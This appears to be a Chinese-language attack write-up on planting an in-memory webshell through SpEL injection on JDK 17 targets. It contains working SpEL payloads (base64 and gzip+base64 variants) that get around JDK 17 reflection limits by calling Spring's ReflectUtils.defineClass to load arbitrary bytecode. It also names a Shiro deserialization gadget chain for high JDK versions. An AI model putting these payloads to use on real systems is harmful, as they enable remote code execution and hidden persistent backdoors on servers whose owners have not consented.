JDK 17 中,setAccessible(true) 不是完全不能使用,但是受到了严格的限制,特别是对于Java核心模块(java.base)中的关键类和方法的访问

模块的强化

// JDK 17 中,模块系统默认配置更严格
// java.base 模块默认不向未命名模块开放深度反射

// 尝试在 JDK 17 中执行:
Field field = ClassLoader.class.getDeclaredField("defineClass");x
field.setAccessible(true);  // 这行会抛出异常!

// 异常信息:
// java.lang.reflect.InaccessibleObjectException: 
// Unable to make protected final Class<?> java.lang.ClassLoader.defineClass(...) accessible: 
// module java.base does not "opens java.lang" to unnamed module @xxxx

不同JDK的演变

JDK 版本setAccessible(true)状态核心变化
JDK 8 及之前基本无限制可以访问几乎所有私有成员
JDK 9-15逐步限制引入了模块系统,默认有警告
JDK 16严格限制--illegal-access=deny成为默认
JDK 17+非常严格默认拒绝,必须显式开放

SPEL绕过JDK17

因为目标不出网所以我们需要打内存马,这里选择使用SPEL表达式来注入内存马。因为目标环境是JDK17所以我们还需要绕过反射限制,且不能使用js脚本引擎执行代码。首先使用java-chains直接生成的表达式进行测试

T(org.springframework.cglib.core.ReflectUtils).defineClass('org.apache.beanutils.coyote.ser.std.NumberSerializer915a340602104c4d8545434b1bed70b4',T(org.springframework.util.Base64Utils).decodeFromString('base64'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).newInstance()

会报错

image-20251217161806433

跟进org.springframework.cglib.core.ReflectUtils,会发现在classLoaderDefineClassMethod.setAccessible(true);报错,这是由于jdk17对setAccessible(true)进行了十分严格的限制

image-20251217161838519

通过调试defineclass方法,发现如果能够进入这个if直接执行invoke就能够执行任意字节码。

image-20251217161948287

image-20251217162234486

POC

Base64方式

T(org.springframework.cglib.core.ReflectUtils).defineClass(
    'org.springframework.expression.TestAAA',
    T(org.springframework.util.Base64Utils).decodeFromString('base64编码的类字节码'),
    T(java.lang.Class).forName('org.springframework.expression.ExpressionParser').getClassLoader(),
    null,
    T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')
).newInstance()

gzip+base64方式

T(org.springframework.cglib.core.ReflectUtils).defineClass('org.springframework.expression.TestAAAtq',T(org.springframework.util.StreamUtils).copyToByteArray(new java.util.zip.GZIPInputStream(new java.io.ByteArrayInputStream(T(org.springframework.util.Base64Utils).decodeFromString('gzip+base64')))),T(java.lang.Thread).currentThread().getContextClassLoader(), null, T(java.lang.Class).forName('org.springframework.expression.ExpressionParser')).newInstance()

也可以直接使用MemShellParty生成,可以直接绕过JDK17

image-20251217162513054

具体参考: https://mdnice.com/writing/1f3785e75b44461bad2fa58196ec828c Shiro反序列化 JDK17高版本利用

利用链:CommonsBeanutils-\> C3p0DataSource -\> PostgreSqlJdbc -\> ClassPathXmlApplicationContext